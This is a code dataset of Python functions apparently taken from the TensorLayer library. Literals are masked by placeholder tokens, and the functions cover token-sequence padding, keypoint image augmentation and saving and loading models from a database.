{"signature": "def process_sequences(sequences, end_id=<NUM_LIT:0>, pad_val=<NUM_LIT:0>, is_shorten=True, remain_end_id=False):", "body": "max_length = <NUM_LIT:0><EOL>for _, seq in enumerate(sequences):<EOL><INDENT>is_end = False<EOL>for i_w, n in enumerate(seq):<EOL><INDENT>if n == end_id and is_end == False:  <EOL><INDENT>is_end = True<EOL>if max_length < i_w:<EOL><INDENT>max_length = i_w<EOL><DEDENT>if remain_end_id is False:<EOL><INDENT>seq[i_w] = pad_val  <EOL><DEDENT><DEDENT>elif is_end ==True:<EOL><INDENT>seq[i_w] = pad_val<EOL><DEDENT><DEDENT><DEDENT>if remain_end_id is True:<EOL><INDENT>max_length += <NUM_LIT:1><EOL><DEDENT>if is_shorten:<EOL><INDENT>for i, seq in enumerate(sequences):<EOL><INDENT>sequences[i] = seq[:max_length]<EOL><DEDENT><DEDENT>return sequences<EOL>", "docstring": "Set all tokens(ids) after END token to the padding value, and then shorten (option) it to the maximum sequence length in this batch.\n\n    Parameters\n    -----------\n    sequences : list of list of int\n        All sequences where each row is a sequence.\n    end_id : int\n        The special token for END.\n    pad_val : int\n        Replace the `end_id` and the IDs after `end_id` to this value.\n    is_shorten : boolean\n        Shorten the sequences. Default is True.\n    remain_end_id : boolean\n        Keep an `end_id` in the end. Default is False.\n\n    Returns\n    ----------\n    list of list of int\n        The processed sequences.\n\n    Examples\n    ---------\n    >>> sentences_ids = [[4, 3, 5, 3, 2, 2, 2, 2],  <-- end_id is 2\n    ...                  [5, 3, 9, 4, 9, 2, 2, 3]]  <-- end_id is 2\n    >>> sentences_ids = precess_sequences(sentences_ids, end_id=vocab.end_id, pad_val=0, is_shorten=True)\n    [[4, 3, 5, 3, 0], [5, 3, 9, 4, 9]]", "id": "f11202:m70"}
{"signature": "def sequences_add_start_id(sequences, start_id=<NUM_LIT:0>, remove_last=False):", "body": "sequences_out = [[] for _ in range(len(sequences))]  <EOL>for i, _ in enumerate(sequences):<EOL><INDENT>if remove_last:<EOL><INDENT>sequences_out[i] = [start_id] + sequences[i][:-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>sequences_out[i] = [start_id] + sequences[i]<EOL><DEDENT><DEDENT>return sequences_out<EOL>", "docstring": "Add special start token(id) in the beginning of each sequence.\n\n    Parameters\n    ------------\n    sequences : list of list of int\n        All sequences where each row is a sequence.\n    start_id : int\n        The start ID.\n    remove_last : boolean\n        Remove the last value of each sequences. Usually be used for removing the end ID.\n\n    Returns\n    ----------\n    list of list of int\n        The processed sequences.\n\n    Examples\n    ---------\n    >>> sentences_ids = [[4,3,5,3,2,2,2,2], [5,3,9,4,9,2,2,3]]\n    >>> sentences_ids = sequences_add_start_id(sentences_ids, start_id=2)\n    [[2, 4, 3, 5, 3, 2, 2, 2, 2], [2, 5, 3, 9, 4, 9, 2, 2, 3]]\n    >>> sentences_ids = sequences_add_start_id(sentences_ids, start_id=2, remove_last=True)\n    [[2, 4, 3, 5, 3, 2, 2, 2], [2, 5, 3, 9, 4, 9, 2, 2]]\n\n    For Seq2seq\n\n    >>> input = [a, b, c]\n    >>> target = [x, y, z]\n    >>> decode_seq = [start_id, a, b] <-- sequences_add_start_id(input, start_id, True)", "id": "f11202:m71"}
{"signature": "def sequences_add_end_id(sequences, end_id=<NUM_LIT>):", "body": "sequences_out = [[] for _ in range(len(sequences))]  <EOL>for i, _ in enumerate(sequences):<EOL><INDENT>sequences_out[i] = sequences[i] + [end_id]<EOL><DEDENT>return sequences_out<EOL>", "docstring": "Add special end token(id) in the end of each sequence.\n\n    Parameters\n    -----------\n    sequences : list of list of int\n        All sequences where each row is a sequence.\n    end_id : int\n        The end ID.\n\n    Returns\n    ----------\n    list of list of int\n        The processed sequences.\n\n    Examples\n    ---------\n    >>> sequences = [[1,2,3],[4,5,6,7]]\n    >>> print(sequences_add_end_id(sequences, end_id=999))\n    [[1, 2, 3, 999], [4, 5, 6, 999]]", "id": "f11202:m72"}
{"signature": "def sequences_add_end_id_after_pad(sequences, end_id=<NUM_LIT>, pad_id=<NUM_LIT:0>):", "body": "<EOL>sequences_out = copy.deepcopy(sequences)<EOL>for i, v in enumerate(sequences):<EOL><INDENT>for j, _v2 in enumerate(v):<EOL><INDENT>if sequences[i][j] == pad_id:<EOL><INDENT>sequences_out[i][j] = end_id<EOL>break<EOL><DEDENT><DEDENT><DEDENT>return sequences_out<EOL>", "docstring": "Add special end token(id) in the end of each sequence.\n\n    Parameters\n    -----------\n    sequences : list of list of int\n        All sequences where each row is a sequence.\n    end_id : int\n        The end ID.\n    pad_id : int\n        The pad ID.\n\n    Returns\n    ----------\n    list of list of int\n        The processed sequences.\n\n    Examples\n    ---------\n    >>> sequences = [[1,2,0,0], [1,2,3,0], [1,2,3,4]]\n    >>> print(sequences_add_end_id_after_pad(sequences, end_id=99, pad_id=0))\n    [[1, 2, 99, 0], [1, 2, 3, 99], [1, 2, 3, 4]]", "id": "f11202:m73"}
{"signature": "def sequences_get_mask(sequences, pad_val=<NUM_LIT:0>):", "body": "mask = np.ones_like(sequences)<EOL>for i, seq in enumerate(sequences):<EOL><INDENT>for i_w in reversed(range(len(seq))):<EOL><INDENT>if seq[i_w] == pad_val:<EOL><INDENT>mask[i, i_w] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>break  <EOL><DEDENT><DEDENT><DEDENT>return mask<EOL>", "docstring": "Return mask for sequences.\n\n    Parameters\n    -----------\n    sequences : list of list of int\n        All sequences where each row is a sequence.\n    pad_val : int\n        The pad value.\n\n    Returns\n    ----------\n    list of list of int\n        The mask.\n\n    Examples\n    ---------\n    >>> sentences_ids = [[4, 0, 5, 3, 0, 0],\n    ...                  [5, 3, 9, 4, 9, 0]]\n    >>> mask = sequences_get_mask(sentences_ids, pad_val=0)\n    [[1 1 1 1 0 0]\n     [1 1 1 1 1 0]]", "id": "f11202:m74"}
{"signature": "def keypoint_random_crop(image, annos, mask=None, size=(<NUM_LIT>, <NUM_LIT>)):", "body": "_target_height = size[<NUM_LIT:0>]<EOL>_target_width = size[<NUM_LIT:1>]<EOL>target_size = (_target_width, _target_height)<EOL>if len(np.shape(image)) == <NUM_LIT:2>:<EOL><INDENT>image = cv2.cvtColor(image, cv2.COLOR_GRAY2RGB)<EOL><DEDENT>height, width, _ = np.shape(image)<EOL>for _ in range(<NUM_LIT:50>):<EOL><INDENT>x = random.randrange(<NUM_LIT:0>, width - target_size[<NUM_LIT:0>]) if width > target_size[<NUM_LIT:0>] else <NUM_LIT:0><EOL>y = random.randrange(<NUM_LIT:0>, height - target_size[<NUM_LIT:1>]) if height > target_size[<NUM_LIT:1>] else <NUM_LIT:0><EOL>for joint in annos:<EOL><INDENT>if x <= joint[<NUM_LIT:0>][<NUM_LIT:0>] < x + target_size[<NUM_LIT:0>] and y <= joint[<NUM_LIT:0>][<NUM_LIT:1>] < y + target_size[<NUM_LIT:1>]:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>def pose_crop(image, annos, mask, x, y, w, h):  <EOL><INDENT>target_size = (w, h)<EOL>img = image<EOL>resized = img[y:y + target_size[<NUM_LIT:1>], x:x + target_size[<NUM_LIT:0>], :]<EOL>resized_mask = mask[y:y + target_size[<NUM_LIT:1>], x:x + target_size[<NUM_LIT:0>]]<EOL>adjust_joint_list = []<EOL>for joint in annos:<EOL><INDENT>adjust_joint = []<EOL>for point in joint:<EOL><INDENT>if point[<NUM_LIT:0>] < -<NUM_LIT:10> or point[<NUM_LIT:1>] < -<NUM_LIT:10>:<EOL><INDENT>adjust_joint.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>new_x, new_y = point[<NUM_LIT:0>] - x, point[<NUM_LIT:1>] - y<EOL>if new_x > w - <NUM_LIT:1> or new_y > h - <NUM_LIT:1>:<EOL><INDENT>adjust_joint.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>adjust_joint.append((new_x, new_y))<EOL><DEDENT>adjust_joint_list.append(adjust_joint)<EOL><DEDENT>return resized, adjust_joint_list, resized_mask<EOL><DEDENT>return pose_crop(image, annos, mask, x, y, target_size[<NUM_LIT:0>], target_size[<NUM_LIT:1>])<EOL>", "docstring": "Randomly crop an image and corresponding keypoints without influence scales, given by ``keypoint_random_resize_shortestedge``.\n\n    Parameters\n    -----------\n    image : 3 channel image\n        The given image for augmentation.\n    annos : list of list of floats\n        The keypoints annotation of people.\n    mask : single channel image or None\n        The mask if available.\n    size : tuple of int\n        The size of returned image.\n\n    Returns\n    ----------\n    preprocessed image, annotation, mask", "id": "f11202:m75"}
{"signature": "def keypoint_resize_random_crop(image, annos, mask=None, size=(<NUM_LIT>, <NUM_LIT>)):", "body": "if len(np.shape(image)) == <NUM_LIT:2>:<EOL><INDENT>image = cv2.cvtColor(image, cv2.COLOR_GRAY2RGB)<EOL><DEDENT>def resize_image(image, annos, mask, target_width, target_height):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>y, x, _ = np.shape(image)<EOL>ratio_y = target_height / y<EOL>ratio_x = target_width / x<EOL>new_joints = []<EOL>for people in annos:<EOL><INDENT>new_keypoints = []<EOL>for keypoints in people:<EOL><INDENT>if keypoints[<NUM_LIT:0>] < <NUM_LIT:0> or keypoints[<NUM_LIT:1>] < <NUM_LIT:0>:<EOL><INDENT>new_keypoints.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>pts = (int(keypoints[<NUM_LIT:0>] * ratio_x + <NUM_LIT:0.5>), int(keypoints[<NUM_LIT:1>] * ratio_y + <NUM_LIT:0.5>))<EOL>if pts[<NUM_LIT:0>] > target_width - <NUM_LIT:1> or pts[<NUM_LIT:1>] > target_height - <NUM_LIT:1>:<EOL><INDENT>new_keypoints.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>new_keypoints.append(pts)<EOL><DEDENT>new_joints.append(new_keypoints)<EOL><DEDENT>annos = new_joints<EOL>new_image = cv2.resize(image, (target_width, target_height), interpolation=cv2.INTER_AREA)<EOL>if mask is not None:<EOL><INDENT>new_mask = cv2.resize(mask, (target_width, target_height), interpolation=cv2.INTER_AREA)<EOL>return new_image, annos, new_mask<EOL><DEDENT>else:<EOL><INDENT>return new_image, annos, None<EOL><DEDENT><DEDENT>_target_height = size[<NUM_LIT:0>]<EOL>_target_width = size[<NUM_LIT:1>]<EOL>if len(np.shape(image)) == <NUM_LIT:2>:<EOL><INDENT>image = cv2.cvtColor(image, cv2.COLOR_GRAY2RGB)<EOL><DEDENT>height, width, _ = np.shape(image)<EOL>if height <= width:<EOL><INDENT>ratio = _target_height / height<EOL>new_width = int(ratio * width)<EOL>if height == width:<EOL><INDENT>new_width = _target_height<EOL><DEDENT>image, annos, mask = resize_image(image, annos, mask, new_width, _target_height)<EOL>if new_width > _target_width:<EOL><INDENT>crop_range_x = np.random.randint(<NUM_LIT:0>, new_width - _target_width)<EOL><DEDENT>else:<EOL><INDENT>crop_range_x = <NUM_LIT:0><EOL><DEDENT>image = image[:, crop_range_x:crop_range_x + _target_width, :]<EOL>if mask is not None:<EOL><INDENT>mask = mask[:, crop_range_x:crop_range_x + _target_width]<EOL><DEDENT>new_joints = []<EOL>for people in annos:<EOL><INDENT>new_keypoints = []<EOL>for keypoints in people:<EOL><INDENT>if keypoints[<NUM_LIT:0>] < -<NUM_LIT:10> or keypoints[<NUM_LIT:1>] < -<NUM_LIT:10>:<EOL><INDENT>new_keypoints.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>top = crop_range_x + _target_width - <NUM_LIT:1><EOL>if keypoints[<NUM_LIT:0>] >= crop_range_x and keypoints[<NUM_LIT:0>] <= top:<EOL><INDENT>pts = (int(keypoints[<NUM_LIT:0>] - crop_range_x), int(keypoints[<NUM_LIT:1>]))<EOL><DEDENT>else:<EOL><INDENT>pts = (-<NUM_LIT:1000>, -<NUM_LIT:1000>)<EOL><DEDENT>new_keypoints.append(pts)<EOL><DEDENT>new_joints.append(new_keypoints)<EOL><DEDENT>annos = new_joints<EOL><DEDENT>if height > width:<EOL><INDENT>ratio = _target_width / width<EOL>new_height = int(ratio * height)<EOL>image, annos, mask = resize_image(image, annos, mask, _target_width, new_height)<EOL>if new_height > _target_height:<EOL><INDENT>crop_range_y = np.random.randint(<NUM_LIT:0>, new_height - _target_height)<EOL><DEDENT>else:<EOL><INDENT>crop_range_y = <NUM_LIT:0><EOL><DEDENT>image = image[crop_range_y:crop_range_y + _target_width, :, :]<EOL>if mask is not None:<EOL><INDENT>mask = mask[crop_range_y:crop_range_y + _target_width, :]<EOL><DEDENT>new_joints = []<EOL>for people in annos:  <EOL><INDENT>new_keypoints = []<EOL>for keypoints in people:<EOL><INDENT>if keypoints[<NUM_LIT:0>] < <NUM_LIT:0> or keypoints[<NUM_LIT:1>] < <NUM_LIT:0>:<EOL><INDENT>new_keypoints.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>bot = crop_range_y + _target_height - <NUM_LIT:1><EOL>if keypoints[<NUM_LIT:1>] >= crop_range_y and keypoints[<NUM_LIT:1>] <= bot:<EOL><INDENT>pts = (int(keypoints[<NUM_LIT:0>]), int(keypoints[<NUM_LIT:1>] - crop_range_y))<EOL><DEDENT>else:<EOL><INDENT>pts = (-<NUM_LIT:1000>, -<NUM_LIT:1000>)<EOL><DEDENT>new_keypoints.append(pts)<EOL><DEDENT>new_joints.append(new_keypoints)<EOL><DEDENT>annos = new_joints<EOL><DEDENT>if mask is not None:<EOL><INDENT>return image, annos, mask<EOL><DEDENT>else:<EOL><INDENT>return image, annos, None<EOL><DEDENT>", "docstring": "Reszie the image to make either its width or height equals to the given sizes.\n    Then randomly crop image without influence scales.\n    Resize the image match with the minimum size before cropping, this API will change the zoom scale of object.\n\n    Parameters\n    -----------\n    image : 3 channel image\n        The given image for augmentation.\n    annos : list of list of floats\n        The keypoints annotation of people.\n    mask : single channel image or None\n        The mask if available.\n    size : tuple of int\n        The size (height, width) of returned image.\n\n    Returns\n    ----------\n    preprocessed image, annos, mask", "id": "f11202:m76"}
{"signature": "def keypoint_random_rotate(image, annos, mask=None, rg=<NUM_LIT>):", "body": "def _rotate_coord(shape, newxy, point, angle):<EOL><INDENT>angle = -<NUM_LIT:1> * angle / <NUM_LIT> * math.pi<EOL>ox, oy = shape<EOL>px, py = point<EOL>ox /= <NUM_LIT:2><EOL>oy /= <NUM_LIT:2><EOL>qx = math.cos(angle) * (px - ox) - math.sin(angle) * (py - oy)<EOL>qy = math.sin(angle) * (px - ox) + math.cos(angle) * (py - oy)<EOL>new_x, new_y = newxy<EOL>qx += ox - new_x<EOL>qy += oy - new_y<EOL>return int(qx + <NUM_LIT:0.5>), int(qy + <NUM_LIT:0.5>)<EOL><DEDENT>def _largest_rotated_rect(w, h, angle):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>angle = angle / <NUM_LIT> * math.pi<EOL>if w <= <NUM_LIT:0> or h <= <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0>, <NUM_LIT:0><EOL><DEDENT>width_is_longer = w >= h<EOL>side_long, side_short = (w, h) if width_is_longer else (h, w)<EOL>sin_a, cos_a = abs(math.sin(angle)), abs(math.cos(angle))<EOL>if side_short <= <NUM_LIT> * sin_a * cos_a * side_long:<EOL><INDENT>x = <NUM_LIT:0.5> * side_short<EOL>wr, hr = (x / sin_a, x / cos_a) if width_is_longer else (x / cos_a, x / sin_a)<EOL><DEDENT>else:<EOL><INDENT>cos_2a = cos_a * cos_a - sin_a * sin_a<EOL>wr, hr = (w * cos_a - h * sin_a) / cos_2a, (h * cos_a - w * sin_a) / cos_2a<EOL><DEDENT>return int(np.round(wr)), int(np.round(hr))<EOL><DEDENT>img_shape = np.shape(image)<EOL>height = img_shape[<NUM_LIT:0>]<EOL>width = img_shape[<NUM_LIT:1>]<EOL>deg = np.random.uniform(-rg, rg)<EOL>img = image<EOL>center = (img.shape[<NUM_LIT:1>] * <NUM_LIT:0.5>, img.shape[<NUM_LIT:0>] * <NUM_LIT:0.5>)  <EOL>rot_m = cv2.getRotationMatrix2D((int(center[<NUM_LIT:0>]), int(center[<NUM_LIT:1>])), deg, <NUM_LIT:1>)<EOL>ret = cv2.warpAffine(img, rot_m, img.shape[<NUM_LIT:1>::-<NUM_LIT:1>], flags=cv2.INTER_AREA, borderMode=cv2.BORDER_CONSTANT)<EOL>if img.ndim == <NUM_LIT:3> and ret.ndim == <NUM_LIT:2>:<EOL><INDENT>ret = ret[:, :, np.newaxis]<EOL><DEDENT>neww, newh = _largest_rotated_rect(ret.shape[<NUM_LIT:1>], ret.shape[<NUM_LIT:0>], deg)<EOL>neww = min(neww, ret.shape[<NUM_LIT:1>])<EOL>newh = min(newh, ret.shape[<NUM_LIT:0>])<EOL>newx = int(center[<NUM_LIT:0>] - neww * <NUM_LIT:0.5>)<EOL>newy = int(center[<NUM_LIT:1>] - newh * <NUM_LIT:0.5>)<EOL>img = ret[newy:newy + newh, newx:newx + neww]<EOL>adjust_joint_list = []<EOL>for joint in annos:  <EOL><INDENT>adjust_joint = []<EOL>for point in joint:<EOL><INDENT>if point[<NUM_LIT:0>] < -<NUM_LIT:100> or point[<NUM_LIT:1>] < -<NUM_LIT:100>:<EOL><INDENT>adjust_joint.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>x, y = _rotate_coord((width, height), (newx, newy), point, deg)<EOL>if x > neww - <NUM_LIT:1> or y > newh - <NUM_LIT:1>:<EOL><INDENT>adjust_joint.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>if x < <NUM_LIT:0> or y < <NUM_LIT:0>:<EOL><INDENT>adjust_joint.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>adjust_joint.append((x, y))<EOL><DEDENT>adjust_joint_list.append(adjust_joint)<EOL><DEDENT>joint_list = adjust_joint_list<EOL>if mask is not None:<EOL><INDENT>msk = mask<EOL>center = (msk.shape[<NUM_LIT:1>] * <NUM_LIT:0.5>, msk.shape[<NUM_LIT:0>] * <NUM_LIT:0.5>)  <EOL>rot_m = cv2.getRotationMatrix2D((int(center[<NUM_LIT:0>]), int(center[<NUM_LIT:1>])), deg, <NUM_LIT:1>)<EOL>ret = cv2.warpAffine(msk, rot_m, msk.shape[<NUM_LIT:1>::-<NUM_LIT:1>], flags=cv2.INTER_AREA, borderMode=cv2.BORDER_CONSTANT)<EOL>if msk.ndim == <NUM_LIT:3> and msk.ndim == <NUM_LIT:2>:<EOL><INDENT>ret = ret[:, :, np.newaxis]<EOL><DEDENT>neww, newh = _largest_rotated_rect(ret.shape[<NUM_LIT:1>], ret.shape[<NUM_LIT:0>], deg)<EOL>neww = min(neww, ret.shape[<NUM_LIT:1>])<EOL>newh = min(newh, ret.shape[<NUM_LIT:0>])<EOL>newx = int(center[<NUM_LIT:0>] - neww * <NUM_LIT:0.5>)<EOL>newy = int(center[<NUM_LIT:1>] - newh * <NUM_LIT:0.5>)<EOL>msk = ret[newy:newy + newh, newx:newx + neww]<EOL>return img, joint_list, msk<EOL><DEDENT>else:<EOL><INDENT>return img, joint_list, None<EOL><DEDENT>", "docstring": "Rotate an image and corresponding keypoints.\n\n    Parameters\n    -----------\n    image : 3 channel image\n        The given image for augmentation.\n    annos : list of list of floats\n        The keypoints annotation of people.\n    mask : single channel image or None\n        The mask if available.\n    rg : int or float\n        Degree to rotate, usually 0 ~ 180.\n\n    Returns\n    ----------\n    preprocessed image, annos, mask", "id": "f11202:m77"}
{"signature": "def keypoint_random_flip(<EOL>image, annos, mask=None, prob=<NUM_LIT:0.5>, flip_list=(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:5>, <NUM_LIT:6>, <NUM_LIT:7>, <NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:11>, <NUM_LIT:12>, <NUM_LIT>, <NUM_LIT:8>, <NUM_LIT:9>, <NUM_LIT:10>, <NUM_LIT:15>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:16>, <NUM_LIT>)<EOL>):", "body": "_prob = np.random.uniform(<NUM_LIT:0>, <NUM_LIT:1.0>)<EOL>if _prob < prob:<EOL><INDENT>return image, annos, mask<EOL><DEDENT>_, width, _ = np.shape(image)<EOL>image = cv2.flip(image, <NUM_LIT:1>)<EOL>mask = cv2.flip(mask, <NUM_LIT:1>)<EOL>new_joints = []<EOL>for people in annos:  <EOL><INDENT>new_keypoints = []<EOL>for k in flip_list:<EOL><INDENT>point = people[k]<EOL>if point[<NUM_LIT:0>] < <NUM_LIT:0> or point[<NUM_LIT:1>] < <NUM_LIT:0>:<EOL><INDENT>new_keypoints.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>if point[<NUM_LIT:0>] > image.shape[<NUM_LIT:1>] - <NUM_LIT:1> or point[<NUM_LIT:1>] > image.shape[<NUM_LIT:0>] - <NUM_LIT:1>:<EOL><INDENT>new_keypoints.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>if (width - point[<NUM_LIT:0>]) > image.shape[<NUM_LIT:1>] - <NUM_LIT:1>:<EOL><INDENT>new_keypoints.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>new_keypoints.append((width - point[<NUM_LIT:0>], point[<NUM_LIT:1>]))<EOL><DEDENT>new_joints.append(new_keypoints)<EOL><DEDENT>annos = new_joints<EOL>return image, annos, mask<EOL>", "docstring": "Flip an image and corresponding keypoints.\n\n    Parameters\n    -----------\n    image : 3 channel image\n        The given image for augmentation.\n    annos : list of list of floats\n        The keypoints annotation of people.\n    mask : single channel image or None\n        The mask if available.\n    prob : float, 0 to 1\n        The probability to flip the image, if 1, always flip the image.\n    flip_list : tuple of int\n        Denotes how the keypoints number be changed after flipping which is required for pose estimation task.\n        The left and right body should be maintained rather than switch.\n        (Default COCO format).\n        Set to an empty tuple if you don't need to maintain left and right information.\n\n    Returns\n    ----------\n    preprocessed image, annos, mask", "id": "f11202:m78"}
{"signature": "def keypoint_random_resize(image, annos, mask=None, zoom_range=(<NUM_LIT>, <NUM_LIT>)):", "body": "height = image.shape[<NUM_LIT:0>]<EOL>width = image.shape[<NUM_LIT:1>]<EOL>_min, _max = zoom_range<EOL>scalew = np.random.uniform(_min, _max)<EOL>scaleh = np.random.uniform(_min, _max)<EOL>neww = int(width * scalew)<EOL>newh = int(height * scaleh)<EOL>dst = cv2.resize(image, (neww, newh), interpolation=cv2.INTER_AREA)<EOL>if mask is not None:<EOL><INDENT>mask = cv2.resize(mask, (neww, newh), interpolation=cv2.INTER_AREA)<EOL><DEDENT>adjust_joint_list = []<EOL>for joint in annos:  <EOL><INDENT>adjust_joint = []<EOL>for point in joint:<EOL><INDENT>if point[<NUM_LIT:0>] < -<NUM_LIT:100> or point[<NUM_LIT:1>] < -<NUM_LIT:100>:<EOL><INDENT>adjust_joint.append((-<NUM_LIT:1000>, -<NUM_LIT:1000>))<EOL>continue<EOL><DEDENT>adjust_joint.append((int(point[<NUM_LIT:0>] * scalew + <NUM_LIT:0.5>), int(point[<NUM_LIT:1>] * scaleh + <NUM_LIT:0.5>)))<EOL><DEDENT>adjust_joint_list.append(adjust_joint)<EOL><DEDENT>if mask is not None:<EOL><INDENT>return dst, adjust_joint_list, mask<EOL><DEDENT>else:<EOL><INDENT>return dst, adjust_joint_list, None<EOL><DEDENT>", "docstring": "Randomly resize an image and corresponding keypoints.\n    The height and width of image will be changed independently, so the scale will be changed.\n\n    Parameters\n    -----------\n    image : 3 channel image\n        The given image for augmentation.\n    annos : list of list of floats\n        The keypoints annotation of people.\n    mask : single channel image or None\n        The mask if available.\n    zoom_range : tuple of two floats\n        The minimum and maximum factor to zoom in or out, e.g (0.5, 1) means zoom out 1~2 times.\n\n    Returns\n    ----------\n    preprocessed image, annos, mask", "id": "f11202:m79"}
{"signature": "def __str__(self):", "body": "return self._s<EOL>", "docstring": "Print information of databset.", "id": "f11203:c0:m1"}
{"signature": "def _fill_project_info(self, args):", "body": "return args.update({'<STR_LIT>': self.project_name})<EOL>", "docstring": "Fill in project_name for all studies, architectures and parameters.", "id": "f11203:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def _serialization(ps):<DEDENT>", "body": "return pickle.dumps(ps, protocol=pickle.HIGHEST_PROTOCOL)<EOL>", "docstring": "Serialize data.", "id": "f11203:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _deserialization(ps):<DEDENT>", "body": "return pickle.loads(ps)<EOL>", "docstring": "Deseralize data.", "id": "f11203:c0:m4"}
{"signature": "def save_model(self, network=None, model_name='<STR_LIT>', **kwargs):", "body": "kwargs.update({'<STR_LIT>': model_name})<EOL>self._fill_project_info(kwargs)  <EOL>params = network.get_all_params()<EOL>s = time.time()<EOL>kwargs.update({'<STR_LIT>': network.all_graphs, '<STR_LIT:time>': datetime.utcnow()})<EOL>try:<EOL><INDENT>params_id = self.model_fs.put(self._serialization(params))<EOL>kwargs.update({'<STR_LIT>': params_id, '<STR_LIT:time>': datetime.utcnow()})<EOL>self.db.Model.insert_one(kwargs)<EOL>print(\"<STR_LIT>\".format(round(time.time() - s, <NUM_LIT:2>)))<EOL>return True<EOL><DEDENT>except Exception as e:<EOL><INDENT>exc_type, exc_obj, exc_tb = sys.exc_info()<EOL>fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[<NUM_LIT:1>]<EOL>logging.info(\"<STR_LIT>\".format(exc_type, exc_obj, fname, exc_tb.tb_lineno, e))<EOL>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>", "docstring": "Save model architecture and parameters into database, timestamp will be added automatically.\n\n        Parameters\n        ----------\n        network : TensorLayer layer\n            TensorLayer layer instance.\n        model_name : str\n            The name/key of model.\n        kwargs : other events\n            Other events, such as name, accuracy, loss, step number and etc (optinal).\n\n        Examples\n        ---------\n        Save model architecture and parameters into database.\n        >>> db.save_model(net, accuracy=0.8, loss=2.3, name='second_model')\n\n        Load one model with parameters from database (run this in other script)\n        >>> net = db.find_top_model(sess=sess, accuracy=0.8, loss=2.3)\n\n        Find and load the latest model.\n        >>> net = db.find_top_model(sess=sess, sort=[(\"time\", pymongo.DESCENDING)])\n        >>> net = db.find_top_model(sess=sess, sort=[(\"time\", -1)])\n\n        Find and load the oldest model.\n        >>> net = db.find_top_model(sess=sess, sort=[(\"time\", pymongo.ASCENDING)])\n        >>> net = db.find_top_model(sess=sess, sort=[(\"time\", 1)])\n\n        Get model information\n        >>> net._accuracy\n        ... 0.8\n\n        Returns\n        ---------\n        boolean : True for success, False for fail.", "id": "f11203:c0:m5"}
{"signature": "def find_top_model(self, sess, sort=None, model_name='<STR_LIT>', **kwargs):", "body": "<EOL>kwargs.update({'<STR_LIT>': model_name})<EOL>self._fill_project_info(kwargs)<EOL>s = time.time()<EOL>d = self.db.Model.find_one(filter=kwargs, sort=sort)<EOL>_temp_file_name = '<STR_LIT>'<EOL>if d is not None:<EOL><INDENT>params_id = d['<STR_LIT>']<EOL>graphs = d['<STR_LIT>']<EOL>_datetime = d['<STR_LIT:time>']<EOL>exists_or_mkdir(_temp_file_name, False)<EOL>with open(os.path.join(_temp_file_name, '<STR_LIT>'), '<STR_LIT:wb>') as file:<EOL><INDENT>pickle.dump(graphs, file, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\".format(kwargs))<EOL>return False<EOL><DEDENT>try:<EOL><INDENT>params = self._deserialization(self.model_fs.get(params_id).read())<EOL>np.savez(os.path.join(_temp_file_name, '<STR_LIT>'), params=params)<EOL>network = load_graph_and_params(name=_temp_file_name, sess=sess)<EOL>del_folder(_temp_file_name)<EOL>pc = self.db.Model.find(kwargs)<EOL>print(<EOL>\"<STR_LIT>\".<EOL>format(kwargs, sort, _datetime, round(time.time() - s, <NUM_LIT:2>))<EOL>)<EOL>for key in d:<EOL><INDENT>network.__dict__.update({\"<STR_LIT>\" % key: d[key]})<EOL><DEDENT>params_id_list = pc.distinct('<STR_LIT>')<EOL>n_params = len(params_id_list)<EOL>if n_params != <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\".format(n_params))<EOL><DEDENT>return network<EOL><DEDENT>except Exception as e:<EOL><INDENT>exc_type, exc_obj, exc_tb = sys.exc_info()<EOL>fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[<NUM_LIT:1>]<EOL>logging.info(\"<STR_LIT>\".format(exc_type, exc_obj, fname, exc_tb.tb_lineno, e))<EOL>return False<EOL><DEDENT>", "docstring": "Finds and returns a model architecture and its parameters from the database which matches the requirement.\n\n        Parameters\n        ----------\n        sess : Session\n            TensorFlow session.\n        sort : List of tuple\n            PyMongo sort comment, search \"PyMongo find one sorting\" and `collection level operations <http://api.mongodb.com/python/current/api/pymongo/collection.html>`__ for more details.\n        model_name : str or None\n            The name/key of model.\n        kwargs : other events\n            Other events, such as name, accuracy, loss, step number and etc (optinal).\n\n        Examples\n        ---------\n        - see ``save_model``.\n\n        Returns\n        ---------\n        network : TensorLayer layer\n            Note that, the returned network contains all information of the document (record), e.g. if you saved accuracy in the document, you can get the accuracy by using ``net._accuracy``.", "id": "f11203:c0:m6"}
